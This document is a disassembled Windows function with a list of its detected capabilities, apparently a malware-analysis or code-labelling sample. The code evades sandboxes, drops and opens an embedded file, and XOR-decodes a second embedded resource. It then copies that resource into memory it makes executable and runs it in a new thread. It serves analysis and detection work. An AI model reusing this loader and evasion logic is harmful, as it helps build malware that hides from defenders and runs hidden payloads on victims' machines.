Function at 0x140005bc4
Capabilities:
Create process on windows
Create thread
Encode data using xor
Extract resource via kernel32 functions
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0xb8]
sub rsp, 0x1a0
mov rax, qword [0x14003c0c0]
xor rax, rsp
mov qword [rbp + 0x90], rax
lea rcx, str.acpi_sandbox_detect_by_huoji_2023.6.19__n
call fcn.140005fe0
call fcn.140004994
test al, al
je 0x140005c1e
mov ecx, 0x1e8480
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
jmp 0x140005fab
lea r8, [0x14002ba3c]
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
jne 0x140005c5f
lea rdx, str.Failed_to_find_the_resource.
lea rcx, [0x14003d590]
call fcn.140001140
mov rcx, rax
call fcn.140001e40
mov eax, 1
jmp 0x140005fab
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
jne 0x140005c7b
lea rdx, str.Failed_to_load_the_resource.
jmp 0x140005c41
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x78], xmm1
mov r8d, 8
lea rdx, [0x14002ba80]
lea rcx, [rbp + 0x68]
call fcn.1400013d0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x50]
call fcn.140029610
lea rdx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova rdx, qword [rbp + 0x68]
mov ebx, 1
mov dword [rsp + 0x20], ebx
lea r9d, [rbx + 0x3f]
lea r8d, [rbx + 0x1f]
lea rcx, [rsp + 0x50]
call fcn.1400020cc
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x4c], edx
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0x60], 6
je 0x140005d50
lea rdx, str.Failed_to_create_output_file.
lea rcx, [0x14003d590]
call fcn.140001140
mov rcx, rax
call fcn.140001e40
jmp 0x140005f50
mov r8, rdi
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.140005718
lea rcx, [rsp + 0x50]
call fcn.140004414
lea r8, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova r8, qword [rbp + 0x68]
mov dword [rsp + 0x28], ebx
and qword [rsp + 0x20], 0
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
lea r8, [0x14002ba3c]
mov edx, 0x67
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov r14, rax
test rax, rax
je 0x140005e4b
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140005e4b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r15, rax
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r14d, eax
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [0x14002bab8]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140005e4b
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x88]
mov r8d, r14d
mov rdx, r15
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeResource]
call fcn.140004fd8
and dword [rbp + 0x60], 0
lea r8, [0x14002bac4]
lea rdx, [0x14002bab8]
lea rcx, [rsp + 0x40]
call fcn.14000ea5c
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, qword [rsp + 0x40]
call fcn.14000fa84
mov rcx, qword [rsp + 0x40]
call fcn.140010148
movsxd rdi, eax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call fcn.14000fa84
mov rcx, rdi
call fcn.14000e768
mov rsi, rax
mov r9, qword [rsp + 0x40]
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.14000f67c
test rdi, rdi
je 0x140005ed5
mov rcx, rsi
mov rax, rdi
xor byte [rcx], 0x44
add rcx, rbx
sub rax, rbx
jne 0x140005eca
mov r9d, 4
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.140028f70
lea r9, [rbp + 0x60]
mov r8d, 0x20
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140005f3e
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call fcn.14000e754
mov rcx, rsi
call fcn.14000e754
xor ebx, ebx
lea rcx, [rbp - 8]
call fcn.140002e30
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp - 8], rax
lea rcx, [rbp - 8]
call fcn.140006b9c
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x140005fa9
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005fa4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005fd7
call fcn.1400079ec
mov eax, ebx
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.140007b00
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14000e6dc
int3